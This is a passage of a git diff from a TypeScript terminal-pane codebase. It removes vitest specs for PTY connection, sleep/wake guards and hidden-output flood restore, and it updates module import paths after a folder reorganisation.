-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { WRITE_PIPELINE_STALL_CHECK_MS } =
-        await import('@/lib/pane-manager/terminal-write-pipeline-health')
-      const transport = createMockTransport('pty-rejected')
-      transport.sendInputAccepted = vi.fn().mockResolvedValue(false)
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const binding = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks19)
-      )
-      await flushAsyncTicks()
-      pane.terminal.write.mockClear()
-      pane.terminal.write.mockImplementation(() => {})
-
-      sendTerminalInputThroughPane(pane, '\x03')
-      await flushAsyncTicks()
-      vi.advanceTimersByTime(WRITE_PIPELINE_STALL_CHECK_MS * 2)
-      await flushAsyncTicks()
-
-      expect(transport.sendInputAccepted).toHaveBeenCalledWith('\x03', 'query-reply')
-      expect(pane.terminal.write).not.toHaveBeenCalledWith(new Uint8Array(0), expect.any(Function))
-      binding.dispose()
-    })
-
-    it('blocks input when tab-level ptyId is stale even if panePtyId is null', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks20 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const transport = createMockTransport(null)
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: {
-          'wt-1': [{ id: 'tab-1', ptyId: 'tab-level-pty' }]
-        },
-        codexRestartNoticeByPtyId: {
-          'tab-level-pty': { previousAccountLabel: 'A', nextAccountLabel: 'B' }
-        }
-      }
-
-      const pane = createPane(1)
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-      const manager = createManager(1)
-      const deps = createDeps()
-
-      connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks20)
-      )
-
-      expect(onDataHandler).toBeDefined()
-      if (!onDataHandler) {
-        throw new Error('expected onData handler to be registered')
-      }
-      ;(onDataHandler as (data: string) => void)('hello')
-
-      expect(transport.sendInput).not.toHaveBeenCalled()
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/input/terminal-input-activity.ts b/src/renderer/src/components/terminal-pane/pty-connection/input/terminal-input-activity.ts
index d9739cdd578..941898a54c1 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/input/terminal-input-activity.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/input/terminal-input-activity.ts
@@ -4,7 +4,7 @@ import {
 } from '../output/terminal-input-echo-delay'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 import { useAppStore } from '@/store'
-import { requestTerminalWritePipelineProbe } from '@/lib/pane-manager/terminal-write-pipeline-health'
+import { requestTerminalWritePipelineProbe } from '@/lib/pane-manager/terminal-output/terminal-write-pipeline-health'
 import { subscribeToTerminalUserInput } from '../../input/terminal-user-input-signal'
 
 export function initializeTerminalInputActivityState(session: ConnectPanePtySession): void {
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pane-pty-exit.ts b/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pane-pty-exit.ts
index 4fbc96d4eab..79d8dbff24a 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pane-pty-exit.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pane-pty-exit.ts
@@ -1,3 +1,7 @@
+import {
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime
+} from '../../provider-notices/terminal-notice-lifetime'
 import { scheduleRuntimeGraphSync } from '@/runtime/sync-runtime-graph/graph-sync-scheduler'
 import { useAppStore } from '@/store'
 import {
@@ -110,6 +114,8 @@ export function bindPanePtyExit(session: ConnectPanePtySession): void {
     }
     const isSuppressedExit =
       session.deps.consumeSuppressedPtyExit(ptyId) || preserveRendererBinding || replacedByRestart
+    const endedNotice =
+      !isSuppressedExit && !isUnverifiedExit ? getTerminalNoticeLifetime(ptyId) : undefined
     if (!isSuppressedExit && !isUnverifiedExit) {
       session.clearExitedPanePtyLayoutBinding(ptyId)
     }
@@ -117,6 +123,9 @@ export function bindPanePtyExit(session: ConnectPanePtySession): void {
     if (!preserveRendererBinding && !isUnverifiedExit) {
       session.deps.clearTabPtyId(session.deps.tabId, ptyId)
     }
+    if (endedNotice) {
+      retireTerminalNoticeLifetime(endedNotice)
+    }
     // Abrupt exits may omit title reset; always clear the cache countdown.
     session.deps.setCacheTimerStartedAt(session.cacheKey, null)
     useAppStore.getState().removeAgentStatus(session.cacheKey)
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-connection-deliberate-sleep-guard.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-connection-deliberate-sleep-guard.spec.ts
deleted file mode 100644
index 5b190eec736..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-connection-deliberate-sleep-guard.spec.ts
+++ /dev/null
@@ -1,180 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  LEAF_1,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-export function registerPtyConnectionDeliberateSleepGuardTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('deliberate sleep keeps mounted panes cold', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      const { clearWorktreeSleepIntent } = await import('@/lib/worktree-sleep-intent')
-      clearWorktreeSleepIntent('wt-1')
-      await restoreTerminalTestGlobals()
-    })
-
-    it('does not connect a waiting pane whose tab was remounted by the wake', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks4 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { clearWorktreeSleepIntent, markWorktreeSleepIntent } =
-        await import('@/lib/worktree-sleep-intent')
-      const transport = createMockTransport()
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        activeWorktreeId: 'wt-other',
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-remounted', ptyId: 'wt-1@@dead', generation: 0 }] }
-      }
-      markWorktreeSleepIntent('wt-1')
-      const deps = createDeps({
-        tabId: 'tab-remounted',
-        restoredLeafId: LEAF_1,
-        restoredPtyIdByLeafId: { [LEAF_1]: 'wt-1@@dead' },
-        isVisibleRef: { current: false }
-      })
-      connectPanePty(
-        createPane(1) as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks4)
-      )
-      await flushAsyncTicks()
-
-      // Why: activation bumps generation in the same set() that precedes the clear.
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-remounted', ptyId: 'wt-1@@dead', generation: 1 }] }
-      }
-      clearWorktreeSleepIntent('wt-1')
-      await flushAsyncTicks()
-
-      expect(transport.connect).not.toHaveBeenCalled()
-    })
-
-    it('re-arms after a wake so a second sleep can hold the pane again', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { clearWorktreeSleepIntent, markWorktreeSleepIntent } =
-        await import('@/lib/worktree-sleep-intent')
-      const transport = createMockTransport()
-      transportFactoryQueue.push(transport)
-      let releaseCwd: (cwd: string) => void = () => {}
-      const cwdPromise = new Promise<string>((resolve) => {
-        releaseCwd = resolve
-      })
-      markWorktreeSleepIntent('wt-1')
-      const deps = createDeps({
-        tabId: 'tab-resleep',
-        isVisibleRef: { current: false },
-        cwdPromise
-      })
-
-      connectPanePty(
-        createPane(1) as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks6)
-      )
-      await flushAsyncTicks()
-      // Wake: the pane leaves the sleep gate and parks on the cwd gate.
-      clearWorktreeSleepIntent('wt-1')
-      await flushAsyncTicks()
-      // Sleep again before the cwd settles, then wake again.
-      markWorktreeSleepIntent('wt-1')
-      releaseCwd('/cwd')
-      await flushAsyncTicks()
-      expect(transport.connect).not.toHaveBeenCalled()
-      clearWorktreeSleepIntent('wt-1')
-      await flushAsyncTicks()
-
-      expect(transport.connect).toHaveBeenCalledTimes(1)
-    })
-
-    it('drops the wake listener when a waiting pane is disposed', async () => {
-      const sleepIntent = await import('@/lib/worktree-sleep-intent')
-      const subscribe = sleepIntent.onWorktreeSleepIntentCleared
-      const paneWakeListener = vi.fn()
-      const subscribeSpy = vi
-        .spyOn(sleepIntent, 'onWorktreeSleepIntentCleared')
-        .mockImplementation((worktreeId, listener) =>
-          subscribe(worktreeId, () => {
-            paneWakeListener()
-            listener()
-          })
-        )
-      try {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks7 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport()
-        transportFactoryQueue.push(transport)
-        sleepIntent.markWorktreeSleepIntent('wt-1')
-        const deps = createDeps({ tabId: 'tab-disposed', isVisibleRef: { current: false } })
-
-        const binding = connectPanePty(
-          createPane(1) as never,
-          createManager(1) as never,
-          bindPaneAgentTitleMocks(deps as never, agentTitleMocks7)
-        )
-        await flushAsyncTicks()
-        expect(subscribeSpy).toHaveBeenCalledTimes(1)
-        binding.dispose()
-        const wakeCalls: number[] = []
-        subscribe('wt-1', () => wakeCalls.push(1))
-        sleepIntent.clearWorktreeSleepIntent('wt-1')
-        await flushAsyncTicks()
-
-        expect(transport.connect).not.toHaveBeenCalled()
-        expect(wakeCalls).toHaveLength(1)
-        expect(paneWakeListener).not.toHaveBeenCalled()
-      } finally {
-        subscribeSpy.mockRestore()
-      }
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-input-recovery.ts b/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-input-recovery.ts
index dd1ab320be9..1bcbe00d346 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-input-recovery.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/lifecycle/pty-input-recovery.ts
@@ -1,8 +1,8 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { useAppStore } from '@/store'
-import { registerUndeliverableWriteHandler } from '@/lib/pane-manager/terminal-write-pipeline-health'
+import { registerUndeliverableWriteHandler } from '@/lib/pane-manager/terminal-output/terminal-write-pipeline-health'
 import { requestTerminalPaneRecovery } from '../../render-health/recovery/terminal-pane-recovery'
-import { discardTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
+import { discardTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 
 // Bound connect grace so wedged RPCs cannot suppress input recovery forever; late reattach does not authorize killing pre-existing sessions.
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-flood-repaint.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-flood-repaint.ts
index 43aec6be868..40b8bd96c70 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-flood-repaint.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-flood-repaint.ts
@@ -1,4 +1,4 @@
-import { onTerminalScrollIntentFollowOutput } from '@/lib/pane-manager/terminal-scroll-intent'
+import { onTerminalScrollIntentFollowOutput } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
 import { shouldWritePtyOutputForeground } from '../output/foreground-output-visibility'
 import { HIDDEN_OUTPUT_RESTORE_FLOOD_SUPPRESS_MS } from './hidden-output-restore-limits'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-chunk.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-chunk.ts
index 730cb9ddf76..cc21d606565 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-chunk.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-chunk.ts
@@ -9,8 +9,8 @@ import {
   scanTerminalReplyQuerySequences
 } from '../../../../../../shared/terminal/protocol/queries/terminal-reply-query-scan'
 import { isPrimaryDeviceAttributesQuerySequence } from '../../../../../../shared/terminal/protocol/queries/terminal-reply-query-extraction'
-import { flushTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { writeXtermParseBarrier } from '@/lib/pane-manager/xterm-parse-barrier'
+import { flushTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { writeXtermParseBarrier } from '@/lib/pane-manager/terminal-output/xterm-parse-barrier'
 
 export function bindHiddenOutputRestoreChunk(session: ConnectPanePtySession): void {
   let coveredQueryScan = EMPTY_TERMINAL_REPLY_QUERY_SCAN_STATE
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-request.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-request.ts
index 7307fb39361..9898a96b454 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-request.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-request.ts
@@ -1,10 +1,10 @@
 import * as unhideCoverage from './hidden-unhide-snapshot-coverage'
 import { useAppStore } from '@/store/index'
-import { isTerminalWritePipelineCertifiedDead } from '@/lib/pane-manager/terminal-write-pipeline-health'
+import { isTerminalWritePipelineCertifiedDead } from '@/lib/pane-manager/terminal-output/terminal-write-pipeline-health'
 import { requestTerminalPaneRecovery } from '../../render-health/recovery/terminal-pane-recovery'
 import { registerStaleDocumentVisibilityRecovery } from '../../viewport/visibility/stale-document-visibility'
 import { warnTerminalLifecycleAnomaly } from '../../layout/reconciliation/terminal-lifecycle-diagnostics'
-import { registerTerminalBacklogRecovery } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
+import { registerTerminalBacklogRecovery } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
 import {
   cancelScheduledHiddenOutputRestore,
   scheduleHiddenOutputRestore
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-snapshot.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-snapshot.ts
index eac9bf097c2..afd339cc7e6 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-snapshot.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-snapshot.ts
@@ -1,6 +1,6 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
-import { safeFit, safeFitAndThen } from '@/lib/pane-manager/pane-fit'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { safeFit, safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { waitForTerminalReplayWritesParsed } from '../../snapshots/replay-guard'
 import {
   POST_REPLAY_LIVE_AGENT_SNAPSHOT_RESET,
@@ -10,10 +10,10 @@ import {
   RESET_AFTER_BYTE_GAP,
   buildKittyKeyboardRestore
 } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { discardTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
-import { recordTerminalOutput } from '@/lib/pane-manager/pane-scroll'
-import { presentPaneViewport } from '@/lib/pane-manager/pane-viewport-present'
+import { discardTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
+import { recordTerminalOutput } from '@/lib/pane-manager/terminal-scroll/pane-scroll'
+import { presentPaneViewport } from '@/lib/pane-manager/terminal-rendering/pane-viewport-present'
 import {
   buildMainModelSnapshotReplayWrites,
   hasPositiveTerminalDimensions,
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-state.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-state.ts
index 93040095c23..488160cb245 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-state.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/hidden-output-restore-state.ts
@@ -1,11 +1,11 @@
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
 import { shouldWritePtyOutputForeground } from '../output/foreground-output-visibility'
-import { cancelTerminalScrollIntentBufferRebuildCompletions } from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
+import { cancelTerminalScrollIntentBufferRebuildCompletions } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent-rebuild'
 import {
   HIDDEN_OUTPUT_RESTORE_DEFERRED_RETRY_MS,
   HIDDEN_OUTPUT_RESTORE_DEFERRED_RETRY_MAX
 } from './hidden-output-restore-limits'
-import { discardTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
+import { discardTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
 
 export function initializeHiddenOutputRestoreState(session: ConnectPanePtySession): void {
   session.hiddenOutputRestoreNeeded = false
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/park-reveal-snapshot-verdict.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/park-reveal-snapshot-verdict.ts
index 020a2fc90e6..72c836ca53e 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/park-reveal-snapshot-verdict.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/park-reveal-snapshot-verdict.ts
@@ -1,7 +1,7 @@
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { RESET_GRAPHIC_RENDITION } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
 import { redactPtyIdForDiagnostics } from '../../../../../../shared/terminal/pty/diagnostics/pty-delivery-diagnostics'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import { recordTerminalFreezeBreadcrumb } from '../../render-health/diagnostics/terminal-freeze-breadcrumbs'
 import type { PtyBufferSnapshot } from '../../pty-transport/pty-transport-types'
 
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-reconciliation.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-reconciliation.spec.ts
deleted file mode 100644
index 34c7121a20d..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-reconciliation.spec.ts
+++ /dev/null
@@ -1,397 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { DEFAULT_DA1_RESPONSE } from '../../emulation/terminal-capability-replies'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-import { mockPanePtyArgs } from '../test-fixtures/pty-connection-test-connect-mock-pane'
-
-export function registerPtyConnectionHiddenBacklogReconciliationTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    describe('hidden-delivery gate', () => {
-      function enableMainAuthority(): void {
-        mockStoreState.settings = {
-          ...mockStoreState.settings,
-          terminalMainSideEffectAuthority: true
-        } as StoreState['settings']
-      }
-
-      async function connectHiddenPane(deps: ReturnType<typeof createDeps>): Promise<{
-        transport: MockTransport
-        pane: ReturnType<typeof createPane>
-        dataCallback: (
-          data: string,
-          meta?: { seq?: number; rawLength?: number; droppedOutput?: boolean }
-        ) => void
-        binding: { syncProcessTracking: () => void; dispose: () => void }
-      }> {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-id')
-        const capturedDataCallback: {
-          current:
-            | ((
-                data: string,
-                meta?: { seq?: number; rawLength?: number; droppedOutput?: boolean }
-              ) => void)
-            | null
-        } = { current: null }
-        transport.connect.mockImplementation(
-          async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-            capturedDataCallback.current = callbacks.onData ?? null
-            return 'pty-id'
-          }
-        )
-        transportFactoryQueue.push(transport)
-        const pane = createPane(1)
-        const manager = createManager(1)
-        const binding = connectPanePty(
-          ...mockPanePtyArgs(pane, manager, bindPaneAgentTitleMocks(deps, agentTitleMocks))
-        )
-        await flushAsyncTicks(6)
-        expect(capturedDataCallback.current).not.toBeNull()
-        return { transport, pane, dataCallback: capturedDataCallback.current!, binding }
-      }
-
-      // Only the restore-needed marker proves a byte gap; reset emulator state here with the cross-chunk parser (STA-4042).
-
-      describe('foreground flood restore feedback loop (rc.7.perf)', () => {
-        function writtenFloodData(pane: ReturnType<typeof createPane>): string {
-          return pane.terminal.write.mock.calls.map((call) => String(call[0])).join('')
-        }
-
-        async function startInFlightRestore(): Promise<{
-          pane: ReturnType<typeof createPane>
-          transport: MockTransport
-          dataCallback: (
-            data: string,
-            meta?: { seq?: number; rawLength?: number; droppedOutput?: boolean }
-          ) => void
-          getMainBufferSnapshot: ReturnType<typeof vi.fn>
-          resolveFirstSnapshot: (snapshot: {
-            data: string
-            cols: number
-            rows: number
-            seq: number
-          }) => void
-        }> {
-          enableMainAuthority()
-          const deps = createDeps({ isVisibleRef: { current: true } })
-          const { pane, transport, dataCallback } = await connectHiddenPane(deps)
-          const transportOptions = createdTransportOptions.at(-1) as {
-            onPtySpawn?: (ptyId: string) => void
-          }
-          transportOptions.onPtySpawn?.('pty-id')
-          const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-          const firstSnapshot = createDeferred<{
-            data: string
-            cols: number
-            rows: number
-            seq: number
-          }>()
-          getMainBufferSnapshot.mockReturnValueOnce(firstSnapshot.promise).mockResolvedValue({
-            data: 'repaint snapshot\r\n',
-            cols: 100,
-            rows: 30,
-            seq: 5_000_000
-          })
-          const { _dispatchPtyModelRestoreNeededForTest } =
-            await import('../../pty-transport/delivery/pty-model-restore-channel')
-          _dispatchPtyModelRestoreNeededForTest({
-            id: 'pty-id',
-            reason: 'pending-cap',
-            markerSeq: 64
-          })
-          await flushAsyncTicks(4)
-          expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-          return {
-            pane,
-            transport,
-            dataCallback,
-            getMainBufferSnapshot,
-            resolveFirstSnapshot: (snapshot) => firstSnapshot.resolve(snapshot)
-          }
-        }
-
-        it('abandons the restore on queue overflow, writes the stream through, and repaints once', async () => {
-          const { pane, dataCallback, getMainBufferSnapshot, resolveFirstSnapshot } =
-            await startInFlightRestore()
-          const { markTerminalFollowOutput, markTerminalPinnedViewport } =
-            await import('@/lib/pane-manager/terminal-scroll-intent')
-          const parseCallbacks: (() => void)[] = []
-          pane.terminal.write.mockImplementation(
-            (_data: string | Uint8Array, callback?: () => void) => {
-              if (callback) {
-                parseCallbacks.push(callback)
-              }
-            }
-          )
-          pane.terminal.buffer.active.viewportY = 42
-          pane.terminal.buffer.active.baseY = 100
-          markTerminalPinnedViewport(pane.terminal)
-
-          // Flood while the snapshot is in flight: overflows the 512KB restore queue.
-          dataCallback('f'.repeat(300 * 1024), { seq: 300 * 1024 + 64, rawLength: 300 * 1024 })
-          dataCallback('g'.repeat(300 * 1024), { seq: 600 * 1024 + 64, rawLength: 300 * 1024 })
-
-          try {
-            vi.useFakeTimers()
-            resolveFirstSnapshot({ data: 'flood snapshot\r\n', cols: 100, rows: 30, seq: 64 })
-            await flushAsyncTicks(20)
-
-            // Cut 1: the overflow abandons the restore instead of re-fetching.
-            expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-            pane.terminal.buffer.active.viewportY = 200
-            pane.terminal.buffer.active.baseY = 200
-            for (const callback of parseCallbacks.splice(0)) {
-              callback()
-            }
-            // The post-replay fit is part of the transaction now; let its promise settle before asserting.
-            await flushAsyncTicks(20)
-            expect(pane.terminal.scrollToLine).toHaveBeenLastCalledWith(142)
-
-            // Cut 2: drop sentinels and seq-gap chunks during the flood window must not re-arm restores — post-gap bytes write through.
-            dataCallback('', { droppedOutput: true })
-            dataCallback('AFTER-FLOOD', { seq: 700 * 1024, rawLength: 11 })
-            await flushAsyncTicks(8)
-            expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-            expect(writtenFloodData(pane)).toContain('AFTER-FLOOD')
-
-            // The repaint only runs while the viewport follows output; return there first.
-            markTerminalFollowOutput(pane.terminal)
-
-            // After the flood goes quiet: exactly ONE deferred repaint.
-            vi.advanceTimersByTime(2_100)
-            await flushAsyncTicks(20)
-            expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-            vi.advanceTimersByTime(5_000)
-            await flushAsyncTicks(20)
-            expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-          } finally {
-            vi.useRealTimers()
-          }
-        })
-
-        it('sends salvaged queries immediately from an overflowing restore queue', async () => {
-          const { pane, transport, dataCallback } = await startInFlightRestore()
-
-          // Queue 400KB, then overflow with color/CPR/DA probes — the discarded probes need direct replies before their read windows close.
-          dataCallback('a'.repeat(400 * 1024), { seq: 400 * 1024, rawLength: 400 * 1024 })
-          const queries = '\x1b]11;?\x1b\\\x1b[6n\x1b[c'
-          dataCallback(`${'b'.repeat(200 * 1024)}${queries}`, {
-            seq: 600 * 1024 + queries.length,
-            rawLength: 200 * 1024 + queries.length
-          })
-          await flushAsyncTicks(8)
-
-          const replies = transport.sendInputImmediate.mock.calls.map((call) => String(call[0]))
-          // oxlint-disable-next-line no-control-regex -- the ESC byte IS the payload: this matches the CPR reply
-          const cprReply = replies.find((reply) => /^\u001b\[\d+;\d+R$/.test(reply))
-          const oscReply = replies.find((reply) => reply.startsWith('\x1b]11;rgb:'))
-          expect(oscReply).toBeDefined()
-          expect(cprReply).toBeDefined()
-          expect(replies).toEqual([oscReply, cprReply, DEFAULT_DA1_RESPONSE])
-          const written = writtenFloodData(pane)
-          expect(written).not.toContain('aaaa')
-          expect(written).not.toContain('bbbb')
-        })
-      })
-
-      describe('post-restore backlog reconciliation', () => {
